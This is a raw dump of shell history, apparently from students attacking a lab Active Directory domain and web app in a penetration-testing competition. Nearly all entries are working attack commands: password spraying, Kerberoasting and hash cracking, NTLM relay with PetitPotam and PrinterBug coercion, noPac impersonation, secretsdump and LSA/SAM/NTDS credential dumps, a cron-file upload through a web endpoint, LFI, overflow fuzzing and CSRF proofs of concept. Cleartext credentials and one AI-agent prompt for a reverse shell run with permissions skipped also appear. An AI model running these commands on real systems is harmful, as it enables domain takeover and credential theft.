_raw: : 1768083935:0;enum4linux-ng 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768083880:0;cp ~/Downloads/diagnostic .


_raw: : 1768083836:0;./kerbrute -t 1 -v -d 'ALLPORTS.LOCAL' -o account_enumeration/domain_account_spray_four.txt --dc 10.0.1.6 passwordspray BloodHound.py/usernames.txt 1Sails@way!


_raw: : 1768083793:0;sudo apt install neofetch


_raw: : 1768083756:0;./kerbrute -t 1 -v -d 'ALLPORTS.LOCAL' -o account_enumeration/domain_account_spray_three.txt --dc 10.0.1.6 passwordspray BloodHound.py/usernames.txt Password123


_raw: : 1768083740:0;python3 ./test_lfi.py -f /etc/passwd


_raw: : 1768083677:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --loggedon-users


_raw: : 1768083669:0;impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support --remove-mic -i --escalate-user APT-DC-01$


_raw:
: 1768083644:0;cat > fuzz_ballast.sh << 'EOF'\
#!/bin/bash\
\
echo "=== Finding Exact Crash Point ==="\
\
for size in 10 50 100 200 300 400 500 750 1000 1500 2000 3000 5000; do\
    echo ""\
    echo "[*] Testing with $size bytes..."\
    \
    # Send payload\
    payload=$(python3 -c "print('A' * $size)")\
    (echo "LOGIN $payload password"; sleep 2) | timeout 5 nc 10.0.1.10 9000 2>&1\
    \
    result=$?\
    \
    if [ $result -eq 124 ]; then\
        echo "    [!] Timeout - possible hang or crash"\
    elif [ $result -ne 0 ]; then\
        echo "    [!] Connection failed (exit code: $result)"\
    else\
        echo "    [+] Service responded normally"\
    fi\
    \
    sleep 3\
    \
    # Test if service still alive\
    alive=$(echo "LOGIN test test" | timeout 2 nc 10.0.1.10 9000 2>&1)\
    if [ -z "$alive" ]; then\
        echo "    [+++] SERVICE CRASHED at $size bytes!"\
        echo "    Waiting 10 seconds for service to restart..."\
        sleep 10\
    fi\
done\
\
echo ""\
echo "=== Fuzzing Complete ==="\
EOF


_raw: : 1768083630:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support --remove-mic -i --escalate-user APT-DC-01$


_raw: : 1768083602:0;curl -sk "https://10.0.1.99/api/diagnostics/files/upload" -H "Host: a.rooms.allports.tours" -F "file=@/home/pentester/cptc/pwned_cron" -F "path=/opt/host/etc/cron.d" 2>&1


_raw: : 1768083601:0;impacket-GetUserSPNs -request -outputfile hashes.kerberoast allports.local/'svc_stabilize':'1gyroscope'; hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force


_raw: : 1768083578:0;GetUserSPNs.py -request -outputfile hashes.kerberoast allports.local/'svc_stabilize':'1gyroscope'; hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force


_raw: : 1768083575:0;curl -sk "https://10.0.1.99/api/diagnostics/files/upload" -H "Host: a.rooms.allports.tours" -F "file=@/home/pentester/cptc/pwned_cron" -F "path=/opt/host/etc/cron.d" 2>&1


_raw: : 1768083574:0;enum4linux 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768083557:0;nxc smb 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=PrinterBug


_raw: : 1768083554:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --no-smb-server -i


_raw: : 1768083551:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -i -smb2support


_raw: : 1768083546:0;enum4linux 10.0.0.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768083536:105;claude "set up a reverse shell on port 4444, you're going in a docker container and do everything you can to escalate privileges, you're in a pentest for finals team 9" --allow-dangerously-skip-permissions


_raw: : 1768083508:0;curl -sk "https://10.0.1.99/api/diagnostics/files/upload" -H "Host: a.rooms.allports.tours" -F "file=@/home/pentester/cptc/pwned_cron" -F "path=/opt/host/etc/cron.d" 2>&1


_raw: : 1768083490:0;sed 's/SVC_STABILIZE/ /g' AD-userlist.txt


_raw: : 1768083486:0;sed 's/pentester/ /g' AD-userlist.txt


_raw: : 1768083478:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support --remove-mic -i


_raw: : 1768083473:0;sed 's/SVC_STABILIZE//g' AD-userlist.txt


_raw: : 1768083465:0;sed 's/pentester//g' AD-userlist.txt


_raw: : 1768083459:0;nxc wmi 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768083449:0;nxc rdp 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768083447:0;sudo vim /etc/profile.d/history-flush.sh


_raw: : 1768083437:0;curl -sk "https://10.0.1.99/api/diagnostics/files/upload" -H "Host: a.rooms.allports.tours" -F "file=@/home/pentester/cptc/pwned_cron" -F "path=/opt/host/etc/cron.d" 2>&1


_raw: : 1768083414:0;nxc smb 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=PrinterBug


_raw: : 1768083368:0;echo "[+] Rate Limiting POC - Sending 20 password reset requests..." && for i in {1..20}; do echo -n "Request $i: " && curl -sk -X POST "https://chat.allports.tours/forgot_password" -d "email=REDACTED_EMAIL" -w "HTTP_%{http_code}\n" -o /dev/null; done && echo "VULNERABLE: All requests completed without rate limiting"


_raw: : 1768083363:0;nxc smb 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=PrinterBug


_raw: : 1768083354:0;echo "[+] Rate Limiting POC - Sending 20 password reset requests..." && for i in {1..20}; do echo -n "Request $i: " && curl -sk -X POST "https://chat.allports.tours/forgot_password" -d "email=REDACTED_EMAIL" -w "HTTP_%{http_code}\n" -o /dev/null; done && echo "VULNERABLE: All requests completed without rate limiting


_raw: : 1768083349:0;echo "[+] Rate Limiting POC - Sending 20 password reset requests..." && for i in {1..20}; do echo -n "Request $i: " && curl -sk -X POST "https://chat.allports.tours/forgot_password" -d "email=REDACTED_EMAIL" -w "HTTP_%{http_code}\n" -o /dev/null; done && echo "[VULNERABLE: All requests completed without rate limiting!"


_raw: : 1768083327:0;impacket-ntlmrelayx -t winrm://10.0.1.21 -i -smb2support


_raw: : 1768083310:0;crackmapexec smb 10.0.1.6 -M printnightmare


_raw: : 1768083309:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --admin-count


_raw: : 1768083231:0;nxc smb 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=PrinterBug


_raw: : 1768083227:0;impacket-ntlmrelayx -t smb://10.0.1.21 -i -smb2support


_raw: : 1768083206:0;evil-winrm -u 'svc_stabilize' -p 1gyroscope -i 10.0.1.6


_raw: : 1768083190:0;evil-winrm -u 'svc_stabilize' -p 1gyroscope -i 10.0.1.21


_raw: : 1768083189:0;for i in {1..100}; do curl -sk -X POST "https://chat.allports.tours/forgot_password" -d "email=REDACTED_EMAIL"; done


_raw: : 1768083188:0;nxc smb 10.0.1.21 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=PrinterBug


_raw: : 1768083182:0;impacket-ntlmrelayx -t smb://10.0.1.6 -i -smb2support


_raw: : 1768083175:0;evil-winrm -u 'svc_stabilize' -p 1gyroscope -i 10.0.1.20


_raw: : 1768083157:0;evil-winrm -u 'ALLPORTS\svc_stabilize' -p 1gyroscope -i 10.0.1.20


_raw: : 1768083151:0;evil-winrm -u 'ALLPORTS\svc_stabilize' -p 1gyroscope -h 10.0.1.20


_raw: : 1768083145:0;evil-winrm -u 'ALLPORTS\svc_stabilize' -p 1gyroscope 10.0.1.20


_raw: : 1768083145:0;nxc smb 10.0.1.21 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=PrinterBug


_raw: : 1768083136:0;nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope --local-auth


_raw: : 1768083135:0;impacket-ntlmrelayx -t smb://10.0.1.21 -i -smb2support


_raw:
: 1768083094:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local -M coerce_plus -o                   \
  LISTENER=10.0.254.202 METHOD=Petitpotam


_raw: : 1768083051:0;rm -f session.txt && CSRF=$(curl -sk -c session.txt -b session.txt "https://chat.allports.tours/login/" | grep -oP 'csrf_token.*?value="\K[^"]+') && curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "csrf_token=${CSRF}&email=REDACTED_EMAIL&password=SecurePassword123%21&submit=Log+In" -L -o /dev/null && echo "[+] Logged in as admin" && echo "[+] CSRF Attack: Simulating attacker crafting malicious link..." && echo "<img src='https://chat.allports.tours/user/5/delete'>" && curl -sk -b session.txt "https://chat.allports.tours/user/5/delete" -L > /dev/null && echo "User ID 5 deleted via GET request (CSRF vulnerable)" && curl -sk -b session.txt "https://chat.allports.tours/admin" | grep -q "REDACTED_EMAIL" && echo "[-] User still exists" || echo "CONFIRMED: User deleted via CSRF attack"


_raw: : 1768083047:0;sudo impacket-ntlmrelayx -t ldaps://10.0.1.6 --shadow-credentials --shadow-target 'DECKHAND-02$'


_raw: : 1768083034:0;rm -f session.txt && CSRF=$(curl -sk -c session.txt -b session.txt "https://chat.allports.tours/login/" | grep -oP 'csrf_token.*?value="\K[^"]+') && curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "csrf_token=${CSRF}&email=REDACTED_EMAIL&password=SecurePassword123%21&submit=Log+In" -L -o /dev/null && echo "[+] Logged in as admin" && echo "[+] CSRF Attack: Simulating attacker crafting malicious link..." && echo "<img src='https://chat.allports.tours/user/5/delete'>" && curl -sk -b session.txt "https://chat.allports.tours/user/5/delete" -L > /dev/null && echo "User ID 5 deleted via GET request (CSRF vulnerable)" && curl -sk -b session.txt "https://chat.allports.tours/admin" | grep -q "REDACTED_EMAIL" && echo "[-] User still exists" || echo "[CONFIRMED: User deleted via CSRF attack"


_raw: : 1768083021:0;rm -f session.txt && CSRF=$(curl -sk -c session.txt -b session.txt "https://chat.allports.tours/login/" | grep -oP 'csrf_token.*?value="\K[^"]+') && curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "csrf_token=${CSRF}&email=REDACTED_EMAIL&password=SecurePassword123%21&submit=Log+In" -L -o /dev/null && echo "[+] Logged in as admin" && echo "[+] CSRF Attack: Simulating attacker crafting malicious link..." && echo "<img src='https://chat.allports.tours/user/5/delete'>" && curl -sk -b session.txt "https://chat.allports.tours/user/5/delete" -L > /dev/null && echo "[User ID 5 deleted via GET request (CSRF vulnerable)" && curl -sk -b session.txt "https://chat.allports.tours/admin" | grep -q "REDACTED_EMAIL" && echo "[-] User still exists" || echo "[!] CONFIRMED: User deleted via CSRF attack"


_raw: : 1768082991:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope -M lsassy


_raw: : 1768082990:0;nxc smb 10.0.1.6 -u ../stuff/users -p ../stuff/users   --shares --continue-on-success --no-bruteforce


_raw: : 1768082988:0;nxc smb 10.0.1.21 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082958:0;ldapdomaindump -u 'ALLPORTS\svc_stabilize' -p 1gyroscope allports.local


_raw: : 1768082951:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --ntds


_raw: : 1768082947:0;ldapdomaindump -u svc_stabilize -p 1gyroscope allports.local


_raw: : 1768082943:0;ldapdomaindump -u svc_stabilize -p 1gyroscope


_raw: : 1768082936:0;sudo apt install flameshot


_raw: : 1768082935:0;impacket-ntlmrelayx -t winrm://10.0.1.21 -i -smb2support


_raw: : 1768082935:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --lsa


_raw: : 1768082915:0;nxc smb 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam


_raw: : 1768082914:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768082912:0;impacket-ntlmrelayx -t smb://10.0.1.21 -i -smb2support


_raw: : 1768082910:0;nxc ldap 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: : 1768082908:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --shares


_raw: : 1768082904:0;nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope


_raw: : 1768082897:0;nxc 10.0.1.20 smb -u svc_stabilize -p 1gyroscope


_raw: : 1768082889:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access --escalate-user 'YOURPC$' -smb2support -debug


_raw: : 1768082887:0;nxc smb -u svc_stabilize -p 1gyroscope 10.0.1.20


_raw: : 1768082864:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --sam


_raw: : 1768082859:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --bloodhound --collection All


_raw: : 1768082859:0;nxc smb 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw: : 1768082850:0;nxc ldap 10.0.1.0/24 -u pentester -p ')u1h55hm-h(M(7nV'  -M dump-computers


_raw: : 1768082834:0;proxychains4 impacket-psexec -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw: : 1768082830:0;nxc ldap 10.0.1.6 -u ai.svc -p 'juVI6OHJZ24u' --bloodhound --collection All


_raw: : 1768082823:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.6 -just-dc-ntlm


_raw: : 1768082818:0;xfreerdp3 /v:10.0.1.6 /u:pentester /d:allports.local /p:')u1h55hm-h(M(7nV' -L


_raw: : 1768082814:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw: : 1768082809:0;xfreerdp3 /v:10.0.1.6 /u:pentester /d:allports.local /p:')u1h55hm-h(M(7nV'


_raw: : 1768082806:0;nxc smb 10.0.1.6 -u ../stuff/users -p 'Fall@2025'  --shares --continue-on-success


_raw: : 1768082804:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support -i


_raw: : 1768082803:0;nxc smb 10.0.1.20 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082799:0;impacket-ntlmrelayx -t smb://10.0.1.21 -i -smb2support


_raw: : 1768082793:0;xfreerdp3 /v:10.0.1.20 /u:pentester /d:allports.local


_raw: : 1768082785:0;nxc smb 10.0.1.20 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082784:0;xfreerdp3 /v:10.0.1.20 /u:pentester -h | grep -i domain


_raw: : 1768082773:0;cp ~/Downloads/SuperTuxKart-1.5-linux-x86_64.tar.gz ./


_raw:
ls
ls
cd
ls
cat password.txt
nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope
nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscop
nano DC-HASH.txt
nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope --shares
netexec smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -d allports.local -M nopac
git clone https://github.com/Ridter/noPac
cd noPac
ls
python3 noPac.py
python3 noPac.py allports.tours/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6 -use-ldap -shell --impersonate Administrator
python3 noPac.py allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6 -use-ldap -shell --impersonate Administrator
netexec smb 10.0.1.6 -u 'WIN-KOS0HJ8WEIP$' -p 'ACt!GoFnVg5w' -d allports.local -M nopac
netexec smb 10.0.1.6 -u 'WIN-KOS0HJ8WEIP$' -p 'ACt!GoFnVg5w' -d allports.local
cd
nano creds.txt
python3 -m http.server
nxc smb 10.0.1.6 10.0.1.20 10.0.1.21 -u users -p password123
nxc smb 10.0.1.6 10.0.1.20 10.0.1.21 -u users -p admin
nxc smb 10.0.1.6 10.0.1.20 10.0.1.21 -u users -p rosdav50
hashcat -h


_raw:
sudo responder -I eth0
cd
cd PetitPotam
ls
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.6
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20
cd
ls
cat bruh.txt | grep rpc
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope --users
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope --users --local-auth
nxc smb 10.0.1.20 -u svc_stabilize -p 1gyroscope --shares
smbclient
smbclient -L //10.0.1.6
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --shares
smbclient //10.0.1.6/NETLOGON -U svc_stabilize
smbclient //10.0.1.6/SYSVOL -U svc_stabilize
ls
impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -i
python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.20
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope
rlwrap nc 127.0.0.1:11000
rlwrap nc 127.0.0.1 11000
clear


_raw: : 1768082760:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support -i


_raw: : 1768082758:0;nxc smb 10.0.1.6 -u ../stuff/users -p 'Summer@2025'  --shares --continue-on-success


_raw: : 1768082750:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support -c


_raw: : 1768082747:0;zip -r logs6.zip participant_env/verbose-log/logs


_raw: : 1768082746:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --bloodhound --collection All


_raw: : 1768082738:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support --remove-mic -whoami


_raw: : 1768082724:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw: : 1768082717:0;nxc smb 10.0.1.6 -u ../stuff/users -p 'Summer@2026'  --shares --continue-on-success


_raw: : 1768082714:0;echo "cGVubnkuYW" > test.txt


_raw: : 1768082713:0;nxc ldap 10.0.1.0/24 -u pentester -p ')u1h55hm-h(M(7nV'  --find-delegation


_raw: : 1768082708:0;nxc smb 10.0.1.20 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082706:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access --escalate-user 'YOURPC$' -smb2support\


_raw: : 1768082706:0;impacket-ntlmrelayx -t ldap://APT-dc-01.allports.local -i


_raw: : 1768082693:0;apt search super-tux-cart


_raw: : 1768082687:0;nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope -M spider_plus


_raw: : 1768082685:0;crackmapexec ldap 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope -M adcs


_raw: : 1768082676:0;nxc smb 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082675:0;nxc smb 10.0.1.6 -u ../stuff/users -p 'Winter@2026'  --shares --continue-on-success


_raw: : 1768082671:0;impacket-ntlmrelayx -t ldap://APT-dc-01.allports.local -i


_raw: : 1768082653:0;nxc smb 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082652:0;nxc smb 10.0.1.0/24 -u svc_stabilize -p 1gyroscope


_raw: : 1768082648:0;hashcat -a 0 hash /usr/share/wordlists/rockyou.txt


_raw: : 1768082643:0;zip -r logs1.zip participant_env/verbose-log/logs


_raw: : 1768082641:0;nxc ldap 10.0.1.6 -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 METHOD=petitpotam


_raw: : 1768082635:0;nxc smb 10.0.1.6 -u ../stuff/users -p ''  --shares --continue-on-success


_raw: : 1768082617:0;nxc ldap -M coerce_plus -u svc_stabilize -p '1gyroscope' -d allports.local -o LISTENER=10.0.254.203 Method=petitpotam


_raw:
: 1768082613:0;rm -f session.txt && CSRF=$(curl -sk -c session.txt -b session.txt "https://chat.allports.tours/login/" | grep -oP 'csrf_token.*?value="\K[^"]+') && curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "csrf_token=${CSRF}&email=REDACTED_EMAIL&password=SecurePassword123%21&submit=Log+In" -L -o /dev/null && echo "[+] Logged in" && curl -sk -b session.txt "https://chat.allports.tours/logout/" -o /dev/null && echo "[+] Logout called" && curl -sk -b session.txt "https://chat.allports.tours/" | grep -q "Logout" && echo "VULNERABLE: Session still valid after logout" || echo "[-] Not vulnerable"\
\
\


_raw: : 1768082601:0;impacket-getST -spn cifs/DECKHAND-02.allports.local -impersonate Administrator -dc-ip 10.0.1.6 'allports.local/EVILPC$:Password123!'


_raw: : 1768082595:0;impacket-ntlmrelayx -t smb://10.0.1.6 -smb2support --remove-mic -socks


_raw: : 1768082592:0;nxc smb 10.0.1.6 -u ../stuff/users -p 'Winter@2025'  --shares --continue-on-success


_raw:
: 1768082589:0;rm -f session.txt && CSRF=$(curl -sk -c session.txt -b session.txt "https://chat.allports.tours/login/" | grep -oP 'csrf_token.*?value="\K[^"]+') && curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "csrf_token=${CSRF}&email=REDACTED_EMAIL&password=SecurePassword123%21&submit=Log+In" -L -o /dev/null && echo "[+] Logged in" && curl -sk -b session.txt "https://chat.allports.tours/logout/" -o /dev/null && echo "[+] Logout called" && curl -sk -b session.txt "https://chat.allports.tours/" | grep -q "Logout" && echo "[VULNERABLE: Session still valid after logout || echo "[-] Not vulnerable"\
\
\


_raw: : 1768082576:0;rm -f session.txt && CSRF=$(curl -sk -c session.txt -b session.txt "https://chat.allports.tours/login/" | grep -oP 'csrf_token.*?value="\K[^"]+') && curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "csrf_token=${CSRF}&email=REDACTED_EMAIL&password=SecurePassword123%21&submit=Log+In" -L -o /dev/null && echo "[+] Logged in" && curl -sk -b session.txt "https://chat.allports.tours/logout/" -o /dev/null && echo "[+] Logout called" && curl -sk -b session.txt "https://chat.allports.tours/" | grep -q "Logout" && echo "[VULNERABLE: Session still valid after logout!" || echo "[-] Not vulnerable"\


_raw: : 1768082548:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.6 -just-dc


_raw: : 1768082506:0;impacket-ntlmrelayx -t ldap://APT-dc-01.allports.tours -i


_raw: : 1768082504:0;enum4linux -u "SVC_STABILIZE" -p "1gyroscope" -a 10.0.1.6


_raw: : 1768082499:0;proxychains4 impacket-psexec -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw:
: 1768082484:0;sudo apt install libkrb5-dev\
pipx install "git+https://github.com/aniqfakhrul/powerview.py"


_raw:
: 1768082463:0;sudo apt install libkrb5-dev\
pipx install "git+https://github.com/aniqfakhrul/powerview.py"


_raw: : 1768082445:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DECKHAND-01.ALLPORTS.LOCAL


_raw: : 1768082428:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --local-auth


_raw: : 1768082426:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DECKHAND-01.ALLPORTS.LOCAL


_raw: : 1768082421:0;python3 printerbug.py 'allports.local'/'ai.svc':'juVI6OHJZ24u'@10.0.1.20 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA


_raw: : 1768082418:0;python3 printerbug.py 'allports.tours'/'ai.svc':'juVI6OHJZ24u'@10.0.1.20 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA


_raw: : 1768082410:0;proxychains4 impacket-wmiexec -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw: : 1768082391:0;python3 printerbug.py 'allports.local'/'ai.svc':'juVI6OHJZ24u'@10.0.1.21 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA


_raw: : 1768082389:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --groups


_raw: : 1768082384:0;zip -r logs2.zip participant_env/verbose-log/logs


_raw: : 1768082366:0;python3 printerbug.py 'allports.local'/'ai.svc':'juVI6OHJZ24u'@10.0.1.20 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA


_raw: : 1768082363:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --users


_raw: : 1768082357:0;python3 printerbug.py 'allports.tours'/'ai.svc':'juVI6OHJZ24u'@10.0.1.20 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA


_raw: : 1768082352:0;python3 PetitPotam.py -u ai.svc -p juVI6OHJZ24u -d allports.local 10.0.254.203 10.0.1.6


_raw: : 1768082349:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user  ai.svc --remove-mic -smb2support --dump-adcs


_raw: : 1768082328:0;nxc smb 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam


_raw: : 1768082324:0;crackmapexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --pass-pol


_raw: : 1768082309:0;sudo impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access --escalate-user 'EVILPC$'


_raw: : 1768082306:13;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user  ai.svc --remove-mic -smb2support --delegate-access


_raw: : 1768082273:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DECKHAND-01.ALLPORTS.LOCAL


_raw: : 1768082271:0;python3 PetitPotam.py -u ai.svc -p juVI6OHJZ24u -d allports.local 10.0.254.203 10.0.1.6


_raw: : 1768082267:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope  --users


_raw: : 1768082267:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user  ai.svc --remove-mic -smb2support --shadow-credentials --shadow-target 'DC01$' -smb2support\


_raw:
: 1768082244:0;curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -H "Content-Type: application/x-www-form-urlencoded" -d "email=REDACTED_EMAIL&password=SecurePassword123 -L > /dev/null && echo "[+] Logged in" && curl -sk -b session.txt "https://chat.allports.tours/logout/" -L > /dev/null && echo "[+] Called logout" && echo "[+] Testing if session still valid..." && curl -sk -b session.txt "https://chat.allports.tours/dashboard/" | grep -qi "dashboard\|welcome" && echo "[\!] VULNERABLE: Session still valid after logout\!" || echo "[-] Session invalidated"\
\
\


_raw: : 1768082244:0;hashcat -m 30600 -a 0 passwd /usr/share/wordlists/rockyou.txt


_raw: : 1768082238:0;hashcat -m 1600 -a 0 passwd /usr/share/wordlists/rockyou.txt


_raw: : 1768082228:0;python3 PetitPotam.py -u ai.svc -p juVI6OHJZ24u -d allports.local 10.0.254.203 10.0.1.6


_raw:
: 1768082228:0;curl -sk -c session.txt -b session.txt -X POST "https://chat.allports.tours/login/" -d "email=REDACTED_EMAIL&password=SecurePassword123 -L >/dev/null && curl -sk -b session.txt "https://chat.allports.tours/logout/" -L >/dev/null && curl -sk -b session.txt "https://chat.allports.tours/dashboard/" | grep -i "dashboard"\
\


_raw: : 1768082225:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768082223:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user  ai.svc --remove-mic -smb2support --shadow-credentials --shadow-target 'APT-DC-01$' -smb2support\


_raw: : 1768082214:2178;impacket-ntlmrelayx -t DECKHAND-01.allports.local -smb2support


_raw: : 1768082209:0;impacket-atexec ai.svc/allports.local:juVI6OHJZ24u@10.0.1.20 whoami


_raw: : 1768082189:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local 10.0.254.205 DECKHAND-01.ALLPORTS.LOCAL


_raw: : 1768082187:0;python3 PetitPotam.py -u ai.svc -p juVI6OHJZ24u -d allports.local 10.0.254.203 10.0.1.6


_raw: : 1768082182:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user  ai.svc --remove-mic -smb2support\


_raw: : 1768082177:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'Welcome1'


_raw: : 1768082171:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user --remove-mic ai.svc -smb2support\


_raw:
: 1768082164:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -W \\
  -b "DC=domain,DC=local" "(objectClass=*)"


_raw: : 1768082158:0;dig @10.0.1.6 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.allports.local


